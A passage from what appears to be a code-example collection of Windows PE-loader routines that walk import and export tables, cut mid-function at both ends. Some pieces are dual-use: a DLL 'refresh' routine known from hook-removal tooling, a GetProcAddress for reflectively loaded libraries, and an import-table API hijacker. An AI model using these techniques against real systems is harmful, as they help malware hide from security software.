    // ----
    pDosHeader = (PIMAGE_DOS_HEADER)pFile;
    pNtHeader = (PIMAGE_NT_HEADERS)(pFile + pDosHeader->e_lfanew);

    // allocate memory to copy DLL into
    dprintf("[REFRESH] Allocating memory for library");
    pLibraryAddr = (PCHAR)VirtualAlloc(NULL, pNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // copy header
    dprintf("[REFRESH] Copying PE header into memory");
    memcpy(pLibraryAddr, pFile, pNtHeader->OptionalHeader.SizeOfHeaders);

    // copy sections
    dprintf("[REFRESH] Copying PE sections into memory");
    pSectionHeader = (PIMAGE_SECTION_HEADER)(pFile + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++)
    {
        memcpy(pLibraryAddr + pSectionHeader[dwIdx].VirtualAddress,
               pFile + pSectionHeader[dwIdx].PointerToRawData,
               pSectionHeader[dwIdx].SizeOfRawData);
    }

    // update our pointers to the loaded image
    pDosHeader = (PIMAGE_DOS_HEADER)pLibraryAddr;
    pNtHeader = (PIMAGE_NT_HEADERS)(pLibraryAddr + pDosHeader->e_lfanew);

    // ----
    // Step 3: Calculate relocations
    // ----
    dprintf("[REFRESH] Calculating file relocations");

    pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    pInitialImageBase = pNtHeader->OptionalHeader.ImageBase;
    // set the ImageBase to the already loaded module's base
    pNtHeader->OptionalHeader.ImageBase = pDllBase;

    // check if their are any relocations present
    if (pDataDir->Size)
    {
        // calculate the address of the first IMAGE_BASE_RELOCATION entry
        pBaseReloc = (PIMAGE_BASE_RELOCATION)(pLibraryAddr + pDataDir->VirtualAddress);

        // iterate through each relocation entry
        while ((PCHAR)pBaseReloc < (pLibraryAddr + pDataDir->VirtualAddress + pDataDir->Size) && pBaseReloc->SizeOfBlock)
        {
            // the VA for this relocation block
            pReloc = (ULONG_PTR)(pLibraryAddr + pBaseReloc->VirtualAddress);

            // number of entries in this relocation block
            dwNumRelocs = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);

            // first entry in the current relocation block
            pImageReloc = (PIMAGE_RELOC)((PCHAR)pBaseReloc + sizeof(IMAGE_BASE_RELOCATION));

            // iterate through each entry in the relocation block
            while (dwNumRelocs--)
            {
                // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
                // we subtract the initial ImageBase and add in the original dll base
                if (pImageReloc->type == IMAGE_REL_BASED_DIR64)
                {
                    *(ULONG_PTR *)(pReloc + pImageReloc->offset) -= pInitialImageBase;
                    *(ULONG_PTR *)(pReloc + pImageReloc->offset) += pDllBase;
                }
                else if (pImageReloc->type == IMAGE_REL_BASED_HIGHLOW)
                {
                    *(DWORD *)(pReloc + pImageReloc->offset) -= (DWORD)pInitialImageBase;
                    *(DWORD *)(pReloc + pImageReloc->offset) += (DWORD)pDllBase;
                }
                else if (pImageReloc->type == IMAGE_REL_BASED_HIGH)
                {
                    *(WORD *)(pReloc + pImageReloc->offset) -= HIWORD(pInitialImageBase);
                    *(WORD *)(pReloc + pImageReloc->offset) += HIWORD(pDllBase);
                }
                else if (pImageReloc->type == IMAGE_REL_BASED_LOW)
                {
                    *(WORD *)(pReloc + pImageReloc->offset) -= LOWORD(pInitialImageBase);
                    *(WORD *)(pReloc + pImageReloc->offset) += LOWORD(pDllBase);
                }
                
                // get the next entry in the current relocation block
                pImageReloc = (PIMAGE_RELOC)((PCHAR)pImageReloc + sizeof(IMAGE_RELOC));
            }

            // get the next entry in the relocation directory
            pBaseReloc = (PIMAGE_BASE_RELOCATION)((PCHAR)pBaseReloc + pBaseReloc->SizeOfBlock);
        }
    }

    // ----
    // Step 4: Update import table
    // ----
    dprintf("[REFRESH] Resolving Import Address Table (IAT) ");

    pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    if (pDataDir->Size)
    {
        pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(pLibraryAddr + pDataDir->VirtualAddress);

        while (pImportDesc->Characteristics)
        {
            hModule = NULL;
            wszDllName = NULL;
            szDllName = (PCHAR)(pLibraryAddr + pImportDesc->Name);
            stDllName = strnlen(szDllName, MAX_PATH);
            wszDllName = (PWSTR)calloc(stDllName + 1, sizeof(WCHAR));

            if (wszDllName == NULL)
                goto next_import;

            mbstowcs_s(&stSize, wszDllName, stDllName + 1, szDllName, stDllName);

			dprintf("[REFRESH] Loading library: %S", wszDllName);

			// If the DLL starts with api- or ext-, resolve the redirected name and load it
            if (_wcsnicmp(wszDllName, L"api-", 4) == 0 || _wcsnicmp(wszDllName, L"ext-", 4) == 0)
            {
                // wsRedir is not null terminated
                wsRedir = GetRedirectedName(wszBaseDllName, wszDllName, &stRedirName);
                if (wsRedir)
                {
                    // Free the original wszDllName and allocate a new buffer for the redirected dll name
                    free(wszDllName);
                    wszDllName = (PWSTR)calloc(stRedirName + 1, sizeof(WCHAR));
                    if (wszDllName == NULL)
                        goto next_import;

                    memcpy(wszDllName, wsRedir, stRedirName * sizeof(WCHAR));
                    dprintf("[REFRESH] Redirected library: %S", wszDllName);
                }
            }

            // Load the module
            hModule = CustomGetModuleHandleW(wszDllName);

            // Ignore libraries that fail to load
            if (hModule == NULL)
                goto next_import;

            if (pImportDesc->OriginalFirstThunk)
                pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->OriginalFirstThunk);
            else
                pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->FirstThunk);

            pIatEntry = (FARPROC*)(pLibraryAddr + pImportDesc->FirstThunk);

            // loop through each thunk and resolve the import
            for(; DEREF(pThunkData); pThunkData++, pIatEntry++)
            {
                if (IMAGE_SNAP_BY_ORDINAL(pThunkData->u1.Ordinal))
                    *pIatEntry = CustomGetProcAddressEx(hModule, (PCHAR)IMAGE_ORDINAL(pThunkData->u1.Ordinal), wszDllName);
                else
                    *pIatEntry = CustomGetProcAddressEx(hModule, ((PIMAGE_IMPORT_BY_NAME)(pLibraryAddr + DEREF(pThunkData)))->Name, wszDllName);
            }

next_import:
            if (wszDllName != NULL)
            {
                free(wszDllName);
                wszDllName = NULL;
            }
            pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((PCHAR)pImportDesc + sizeof(IMAGE_IMPORT_DESCRIPTOR));

        }
    }

cleanup:
    if (pFile != NULL)
        UnmapViewOfFile(pFile);
    if (hMap != NULL)
        CloseHandle(hMap);
    if (hFile != INVALID_HANDLE_VALUE)
        CloseHandle(hFile);

    return (HMODULE) pLibraryAddr;
}
Exemple #13
0
// This code is modified from Stephen Fewer's GetProcAddress implementation
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
// 
// Redistribution and use in source and binary forms, with or without modification, are permitted 
// provided that the following conditions are met:
// 
//     * Redistributions of source code must retain the above copyright notice, this list of 
// conditions and the following disclaimer.
// 
//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
// conditions and the following disclaimer in the documentation and/or other materials provided 
// with the distribution.
// 
//     * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
// 
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
FARPROC WINAPI CustomGetProcAddressEx(HMODULE hModule, const PCHAR lpProcName, PWSTR wszOriginalModule)
{
    UINT_PTR uiLibraryAddress = 0;
    UINT_PTR uiAddressArray = 0;
    UINT_PTR uiNameArray = 0;
    UINT_PTR uiNameOrdinals = 0;
    UINT_PTR uiFuncVA = 0;
    PCHAR cpExportedFunctionName;
    PCHAR szFwdDesc;
    PCHAR szRedirFunc;
    PWSTR wszDllName;
    SIZE_T stDllName;
    PWCHAR wsRedir;
    PWSTR wszRedirName = NULL;
    SIZE_T stRedirName;

    HMODULE hFwdModule;
    PIMAGE_NT_HEADERS pNtHeaders = NULL;
    PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
    PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
    FARPROC fpResult = NULL;
    DWORD dwCounter;

    if (hModule == NULL)
        return NULL;

    // a module handle is really its base address
    uiLibraryAddress = (UINT_PTR)hModule;

    // get the VA of the modules NT Header
    pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);

    pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

    // get the VA of the export directory
    pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress);

    // get the VA for the array of addresses
    uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions);

    // get the VA for the array of name pointers
    uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames);

    // get the VA for the array of name ordinals
    uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals);

    // test if we are importing by name or by ordinal...
    #pragma warning(suppress: 4311)
    if (((DWORD)lpProcName & 0xFFFF0000) == 0x00000000)
    {
        // import by ordinal...

        // use the import ordinal (- export ordinal base) as an index into the array of addresses
        #pragma warning(suppress: 4311)
        uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD));

        // resolve the address for this imported function
        fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));
    }
    else
    {
        // import by name...
        dwCounter = pExportDirectory->NumberOfNames;
        while (dwCounter--)
        {
            cpExportedFunctionName = (PCHAR)(uiLibraryAddress + DEREF_32(uiNameArray));

            // test if we have a match...
            if (strcmp(cpExportedFunctionName, lpProcName) == 0)
            {
                // use the functions name ordinal as an index into the array of name pointers
                uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
                uiFuncVA = DEREF_32(uiAddressArray);

                // check for redirected exports
                if (pDataDirectory->VirtualAddress <= uiFuncVA && uiFuncVA < (pDataDirectory->VirtualAddress + pDataDirectory->Size))
                {
                    szFwdDesc = (PCHAR)(uiLibraryAddress + uiFuncVA);

					// Find the first character after "."
                    szRedirFunc = strstr(szFwdDesc, ".") + 1;
                    stDllName = (SIZE_T)(szRedirFunc - szFwdDesc);

                    // Allocate enough space to append "dll"
                    wszDllName = (PWSTR)calloc(stDllName + 3 + 1, sizeof(WCHAR));
                    if (wszDllName == NULL)
                        break;

                    mbstowcs_s(NULL, wszDllName, stDllName + 1, szFwdDesc, stDllName);
                    memcpy(wszDllName + stDllName, L"dll", 3 * sizeof(WCHAR));

                    // check for a redirected module name
                    if (_wcsnicmp(wszDllName, L"api-", 4) == 0 || _wcsnicmp(wszDllName, L"ext-", 4) == 0)
                    {
                        wsRedir = GetRedirectedName(wszOriginalModule, wszDllName, &stRedirName);
                        if (wsRedir)
                        {
                            // Free the original buffer and allocate a new one for the redirected dll name
                            free(wszDllName);

                            wszDllName = (PWSTR)calloc(stRedirName + 1, sizeof(WCHAR));
                            if (wszDllName == NULL)
                                break;

                            memcpy(wszDllName, wsRedir, stRedirName * sizeof(WCHAR));
                        }
                    }

                    hFwdModule = GetModuleHandleW(wszDllName);
                    fpResult = CustomGetProcAddressEx(hFwdModule, szRedirFunc, wszDllName);
                    free(wszDllName);
                }
                else
                {
                    // calculate the virtual address for the function
                    fpResult = (FARPROC)(uiLibraryAddress + uiFuncVA);
                }

                // finish...
                break;
            }

            // get the next exported function name
            uiNameArray += sizeof(DWORD);

            // get the next exported function name ordinal
            uiNameOrdinals += sizeof(WORD);
        }
    }

    return fpResult;
}
FARPROC WINAPI
__delayLoadHelper2(
    PCImgDelayDescr     pidd,
    FARPROC *           ppfnIATEntry
    ) {

    // Set up some data we use for the hook procs but also useful for
    // our own use
    //
    InternalImgDelayDescr   idd = {
        pidd->grAttrs,
        PFromRva<LPCSTR>(pidd->rvaDLLName),
        PFromRva<HMODULE*>(pidd->rvaHmod),
        PFromRva<PImgThunkData>(pidd->rvaIAT),
        PFromRva<PCImgThunkData>(pidd->rvaINT),
        PFromRva<PCImgThunkData>(pidd->rvaBoundIAT),
        PFromRva<PCImgThunkData>(pidd->rvaUnloadIAT),
        pidd->dwTimeStamp
        };

    DelayLoadInfo   dli = {
        sizeof DelayLoadInfo,
        pidd,
        ppfnIATEntry,
        idd.szName,
        { 0 },
        0,
        0,
        0
        };

    if (0 == (idd.grAttrs & dlattrRva)) {
        PDelayLoadInfo  rgpdli[1] = { &dli };

        RaiseException(
            VcppException(ERROR_SEVERITY_ERROR, ERROR_INVALID_PARAMETER),
            0,
            1,
            PULONG_PTR(rgpdli)
            );
        return 0;
        }

    HMODULE hmod = *idd.phmod;

    // Calculate the index for the IAT entry in the import address table
    // N.B. The INT entries are ordered the same as the IAT entries so
    // the calculation can be done on the IAT side.
    //
    const unsigned  iIAT = IndexFromPImgThunkData(PCImgThunkData(ppfnIATEntry), idd.pIAT);
    const unsigned  iINT = iIAT;

    PCImgThunkData  pitd = &(idd.pINT[iINT]);

    dli.dlp.fImportByName = !IMAGE_SNAP_BY_ORDINAL(pitd->u1.Ordinal);

    if (dli.dlp.fImportByName) {
        dli.dlp.szProcName = LPCSTR(PFromRva<PIMAGE_IMPORT_BY_NAME>(RVA(UINT_PTR(pitd->u1.AddressOfData)))->Name);
        }
    else {
        dli.dlp.dwOrdinal = DWORD(IMAGE_ORDINAL(pitd->u1.Ordinal));
        }

    // Call the initial hook.  If it exists and returns a function pointer,
    // abort the rest of the processing and just return it for the call.
    //
    FARPROC pfnRet = NULL;

    if (__pfnDliNotifyHook2) {
        pfnRet = ((*__pfnDliNotifyHook2)(dliStartProcessing, &dli));

        if (pfnRet != NULL) {
            goto HookBypass;
            }
        }

    // Check to see if we need to try to load the library.
    //
    if (hmod == 0) {
        if (__pfnDliNotifyHook2) {
            hmod = HMODULE(((*__pfnDliNotifyHook2)(dliNotePreLoadLibrary, &dli)));
            }
        if (hmod == 0) {
            hmod = ::LoadLibraryEx(dli.szDll, NULL, 0);
            }
        if (hmod == 0) {
            dli.dwLastError = ::GetLastError();
            if (__pfnDliFailureHook2) {
                // when the hook is called on LoadLibrary failure, it will
                // return 0 for failure and an hmod for the lib if it fixed
                // the problem.
                //
                hmod = HMODULE((*__pfnDliFailureHook2)(dliFailLoadLib, &dli));
                }

            if (hmod == 0) {
                PDelayLoadInfo  rgpdli[1] = { &dli };

                RaiseException(
                    VcppException(ERROR_SEVERITY_ERROR, ERROR_MOD_NOT_FOUND),
                    0,
                    1,
                    PULONG_PTR(rgpdli)
                    );
                
                // If we get to here, we blindly assume that the handler of the exception
                // has magically fixed everything up and left the function pointer in 
                // dli.pfnCur.
                //
                return dli.pfnCur;
                }
            }

        // Store the library handle.  If it is already there, we infer
        // that another thread got there first, and we need to do a
        // FreeLibrary() to reduce the refcount
        //
        HMODULE hmodT = HMODULE(InterlockedExchangePointer((PVOID *) idd.phmod, PVOID(hmod)));
        if (hmodT == hmod) {
            ::FreeLibrary(hmod);
            }
        }

    // Go for the procedure now.
    //
    dli.hmodCur = hmod;
    if (__pfnDliNotifyHook2) {
        pfnRet = (*__pfnDliNotifyHook2)(dliNotePreGetProcAddress, &dli);
        }
    if (pfnRet == 0) {
        if (pidd->rvaBoundIAT && pidd->dwTimeStamp) {
            // bound imports exist...check the timestamp from the target image
            //
            PIMAGE_NT_HEADERS   pinh(PinhFromImageBase(hmod));

            if (pinh->Signature == IMAGE_NT_SIGNATURE &&
                TimeStampOfImage(pinh) == idd.dwTimeStamp &&
                FLoadedAtPreferredAddress(pinh, hmod)) {

                // Everything is good to go, if we have a decent address
                // in the bound IAT!
                //
                pfnRet = FARPROC(UINT_PTR(idd.pBoundIAT[iIAT].u1.Function));
                if (pfnRet != 0) {
                    goto SetEntryHookBypass;
                    }
                }
            }

        pfnRet = ::GetProcAddress(hmod, dli.dlp.szProcName);
        }

    if (pfnRet == 0) {
        dli.dwLastError = ::GetLastError();
        if (__pfnDliFailureHook2) {
            // when the hook is called on GetProcAddress failure, it will
            // return 0 on failure and a valid proc address on success
            //
            pfnRet = (*__pfnDliFailureHook2)(dliFailGetProc, &dli);
            }
        if (pfnRet == 0) {
            PDelayLoadInfo  rgpdli[1] = { &dli };

            RaiseException(
                VcppException(ERROR_SEVERITY_ERROR, ERROR_PROC_NOT_FOUND),
                0,
                1,
                PULONG_PTR(rgpdli)
                );

            // If we get to here, we blindly assume that the handler of the exception
            // has magically fixed everything up and left the function pointer in 
            // dli.pfnCur.
            //
            pfnRet = dli.pfnCur;
            }
        }

SetEntryHookBypass:
    *ppfnIATEntry = pfnRet;

HookBypass:
    if (__pfnDliNotifyHook2) {
        dli.dwLastError = 0;
        dli.hmodCur = hmod;
        dli.pfnCur = pfnRet;
        (*__pfnDliNotifyHook2)(dliNoteEndProcessing, &dli);
        }
    return pfnRet;
    }
Exemple #15
0
HRESULT ApiHijackImports(
				HMODULE hModule,	//хэндл на эту программу (метод импорта), в ней замещающая процедура
				LPSTR szVictim,
				LPSTR szEntry,
				LPVOID pHijacker,	//замещающая процедура
				LPVOID *ppOrig
				)
{
	FILE* pf = fopen("importlog.txt","a+");

	// Check args
	if (::IsBadStringPtrA(szVictim, -1) ||
		(!IS_INTRESOURCE(szEntry) && ::IsBadStringPtrA(szEntry, -1)) ||
		::IsBadCodePtr(FARPROC(pHijacker)))
	{
		fclose(pf); return E_INVALIDARG;
	}

	PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(hModule); //DOS заголовок PE файла (этой программы)

	if (::IsBadReadPtr(pDosHeader, sizeof(IMAGE_DOS_HEADER)) ||
		IMAGE_DOS_SIGNATURE != pDosHeader->e_magic)
	{
		fclose(pf); return E_INVALIDARG;
	}

	PIMAGE_NT_HEADERS pNTHeaders = 
		MakePtr(PIMAGE_NT_HEADERS, hModule, pDosHeader->e_lfanew); //PE заголовок (этой программы)

	if (::IsBadReadPtr(pNTHeaders, sizeof(IMAGE_NT_HEADERS)) ||
		IMAGE_NT_SIGNATURE != pNTHeaders->Signature)
	{
		fclose(pf); return E_INVALIDARG;
	}

	HRESULT hr = E_UNEXPECTED;

	// Locate the victim
	IMAGE_DATA_DIRECTORY& impDir = 
		pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; //элемент директории данных опционального заголовка (структура): символы импорта
	PIMAGE_IMPORT_DESCRIPTOR pImpDesc = 
		MakePtr(PIMAGE_IMPORT_DESCRIPTOR, hModule, impDir.VirtualAddress), //адрес начала таблицы импорта (массив структур IMAGE_IMPORT_DESCRIPTOR) 
			pEnd = pImpDesc + impDir.Size / sizeof(IMAGE_IMPORT_DESCRIPTOR) - 1; //адрес конца таблицы

	while(pImpDesc < pEnd)
	{
		char *p; //debug
		p=MakePtr(char*,hModule,pImpDesc->Name);
		
		if (0 == ::lstrcmpiA(MakePtr(LPSTR, hModule, pImpDesc->Name), szVictim)) //в таблице импорта szVictim
		{
			if (0 == pImpDesc->OriginalFirstThunk)
			{
				// no import names table
				fclose(pf); return E_UNEXPECTED;
			}

			// Locate the entry
		    PIMAGE_THUNK_DATA pNamesTable =
				MakePtr(PIMAGE_THUNK_DATA, hModule, pImpDesc->OriginalFirstThunk);

			if (IS_INTRESOURCE(szEntry))
			{
				// By ordinal
				while(pNamesTable->u1.AddressOfData)
				{
					if (IMAGE_SNAP_BY_ORDINAL(pNamesTable->u1.Ordinal) &&
						WORD(szEntry) == IMAGE_ORDINAL(pNamesTable->u1.Ordinal))
					{
						hr = S_OK;
						break;
					}
					pNamesTable++;
				}
			}
			else
			{
				// By name
				while(pNamesTable->u1.AddressOfData)
				{
					if (!IMAGE_SNAP_BY_ORDINAL(pNamesTable->u1.Ordinal))
					{
						PIMAGE_IMPORT_BY_NAME pName = MakePtr(PIMAGE_IMPORT_BY_NAME,
											hModule, pNamesTable->u1.AddressOfData);

						if (0 == ::lstrcmpiA(LPSTR(pName->Name), szEntry))
						{
							hr = S_OK;
							break;
						}
					}
					pNamesTable++;
				}
			}

			if (SUCCEEDED(hr))
			{
				// Get address
				LPVOID *pProc = MakePtr(LPVOID *, pNamesTable,
							pImpDesc->FirstThunk - pImpDesc->OriginalFirstThunk);
				//pImpDesc->FirstThunk - выводится как Address в проге pe_class - import_descriptor_array->FirstThunk

				// Save original handler
				if (ppOrig)
					*ppOrig = *pProc;

				// write to write-protected memory
				fprintf(pf, "0x%X 0x%X 0x%X 0x%X\n", pProc, pNamesTable, pImpDesc->FirstThunk, pImpDesc->OriginalFirstThunk);
				fclose(pf); return WriteProtectedMemory(pProc, &pHijacker, sizeof(LPVOID));
			}
			break;
		}
		pImpDesc++;
	}

	fclose(pf);
	return hr;
}
//===============================================================================================//
// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which
// wont be able to resolve exported addresses in reflectivly loaded librarys.
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
{
	UINT_PTR uiLibraryAddress = 0;
	FARPROC fpResult          = NULL;

	if( hModule == NULL )
		return NULL;

	// a module handle is really its base address
	uiLibraryAddress = (UINT_PTR)hModule;

	__try
	{
		UINT_PTR uiAddressArray = 0;
		UINT_PTR uiNameArray    = 0;
		UINT_PTR uiNameOrdinals = 0;
		PIMAGE_NT_HEADERS pNtHeaders             = NULL;
		PIMAGE_DATA_DIRECTORY pDataDirectory     = NULL;
		PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
			
		// get the VA of the modules NT Header
		pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);

		pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

		// get the VA of the export directory
		pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );
			
		// get the VA for the array of addresses
		uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );

		// get the VA for the array of name pointers
		uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );
				
		// get the VA for the array of name ordinals
		uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );

		// test if we are importing by name or by ordinal...
		if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )
		{
			// import by ordinal...

			// use the import ordinal (- export ordinal base) as an index into the array of addresses
			uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );

			// resolve the address for this imported function
			fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );
		}
		else
		{
			// import by name...
			DWORD dwCounter = pExportDirectory->NumberOfNames;
			while( dwCounter-- )
			{
				char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));
				
				// test if we have a match...
				if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )
				{
					// use the functions name ordinal as an index into the array of name pointers
					uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
					
					// calculate the virtual address for the function
					fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));
					
					// finish...
					break;
				}
						
				// get the next exported function name
				uiNameArray += sizeof(DWORD);

				// get the next exported function name ordinal
				uiNameOrdinals += sizeof(WORD);
			}
		}
	}
	__except( EXCEPTION_EXECUTE_HANDLER )
	{
		fpResult = NULL;
	}

	return fpResult;
}
Exemple #17
0
BOOL WINAPI DetourEnumerateImports(HMODULE hModule,
                                   PVOID pContext,
                                   PF_DETOUR_IMPORT_FILE_CALLBACK pfImportFile,
                                   PF_DETOUR_IMPORT_FUNC_CALLBACK pfImportFunc)
{
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
    if (hModule == NULL) {
        pDosHeader = (PIMAGE_DOS_HEADER)GetModuleHandleW(NULL);
    }

    __try {
        if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
            SetLastError(ERROR_BAD_EXE_FORMAT);
            return FALSE;
        }

        PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)pDosHeader +
                                                          pDosHeader->e_lfanew);
        if (pNtHeader->Signature != IMAGE_NT_SIGNATURE) {
            SetLastError(ERROR_INVALID_EXE_SIGNATURE);
            return FALSE;
        }
        if (pNtHeader->FileHeader.SizeOfOptionalHeader == 0) {
            SetLastError(ERROR_EXE_MARKED_INVALID);
            return FALSE;
        }

        PIMAGE_IMPORT_DESCRIPTOR iidp
            = (PIMAGE_IMPORT_DESCRIPTOR)
            RvaAdjust(pDosHeader,
                      pNtHeader->OptionalHeader
                      .DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

        if (iidp == NULL) {
            SetLastError(ERROR_EXE_MARKED_INVALID);
            return FALSE;
        }

        for (; iidp->OriginalFirstThunk != 0; iidp++) {

            PCSTR pszName = (PCHAR)RvaAdjust(pDosHeader, iidp->Name);
            if (pszName == NULL) {
                SetLastError(ERROR_EXE_MARKED_INVALID);
                return FALSE;
            }

            PIMAGE_THUNK_DATA pThunks = (PIMAGE_THUNK_DATA)
                RvaAdjust(pDosHeader, iidp->OriginalFirstThunk);
            PVOID * pAddrs = (PVOID *)
                RvaAdjust(pDosHeader, iidp->FirstThunk);

            HMODULE hFile = DetourGetContainingModule(pAddrs[0]);

            if (pfImportFile != NULL) {
                if (!pfImportFile(pContext, hFile, pszName)) {
                    break;
                }
            }

            DWORD nNames = 0;
            if (pThunks) {
                for (; pThunks[nNames].u1.Ordinal; nNames++) {
                    DWORD nOrdinal = 0;
                    PCSTR pszFunc = NULL;

                    if (IMAGE_SNAP_BY_ORDINAL(pThunks[nNames].u1.Ordinal)) {
                        nOrdinal = (DWORD)IMAGE_ORDINAL(pThunks[nNames].u1.Ordinal);
                    }
                    else {
                        pszFunc = (PCSTR)RvaAdjust(pDosHeader,
                                                   (DWORD)pThunks[nNames].u1.AddressOfData + 2);
                    }

                    if (pfImportFunc != NULL) {
                        if (!pfImportFunc(pContext,
                                          nOrdinal,
                                          pszFunc,
                                          pAddrs[nNames])) {
                            break;
                        }
                    }
                }
                if (pfImportFunc != NULL) {
                    pfImportFunc(pContext, 0, NULL, NULL);
                }
            }
        }
        if (pfImportFile != NULL) {
            pfImportFile(pContext, NULL, NULL);
        }
        SetLastError(NO_ERROR);
        return TRUE;
    }
    __except(EXCEPTION_EXECUTE_HANDLER) {
        SetLastError(ERROR_EXE_MARKED_INVALID);
        return FALSE;
    }
}
Exemple #18
0
static DWORD fixup_imports( WINE_MODREF *wm )
{
    IMAGE_IMPORT_DESCRIPTOR	*pe_imp;
    PE_MODREF			*pem;
    unsigned int load_addr	= wm->module;
    int				i,characteristics_detection=1;
    char			*modname;

    assert(wm->type==MODULE32_PE);
    pem = &(wm->binfmt.pe);
    if (pem->pe_export)
    	modname = (char*) RVA(pem->pe_export->Name);
    else
        modname = "<unknown>";


    TRACE("Dumping imports list\n");


    pe_imp = pem->pe_import;
    if (!pe_imp) return 0;

    /* We assume that we have at least one import with !0 characteristics and
     * detect broken imports with all characteristsics 0 (notably Borland) and
     * switch the detection off for them.
     */
    for (i = 0; pe_imp->Name ; pe_imp++) {
	if (!i && !pe_imp->u.Characteristics)
		characteristics_detection = 0;
	if (characteristics_detection && !pe_imp->u.Characteristics)
		break;
	i++;
    }
    if (!i) return 0;


    wm->nDeps = i;
    wm->deps  = HeapAlloc( GetProcessHeap(), 0, i*sizeof(WINE_MODREF *) );

    /* load the imported modules. They are automatically
     * added to the modref list of the process.
     */

    for (i = 0, pe_imp = pem->pe_import; pe_imp->Name ; pe_imp++) {
	IMAGE_IMPORT_BY_NAME	*pe_name;
	PIMAGE_THUNK_DATA	import_list,thunk_list;
 	char			*name = (char *) RVA(pe_imp->Name);

	if (characteristics_detection && !pe_imp->u.Characteristics)
		break;

        /* FIXME: here we should fill imports */
        TRACE("Loading imports for %s.dll\n", name);

	if (pe_imp->u.OriginalFirstThunk != 0) {
	    TRACE("Microsoft style imports used\n");
	    import_list =(PIMAGE_THUNK_DATA) RVA(pe_imp->u.OriginalFirstThunk);
	    thunk_list = (PIMAGE_THUNK_DATA) RVA(pe_imp->FirstThunk);

	    while (import_list->u1.Ordinal) {
		if (IMAGE_SNAP_BY_ORDINAL(import_list->u1.Ordinal)) {
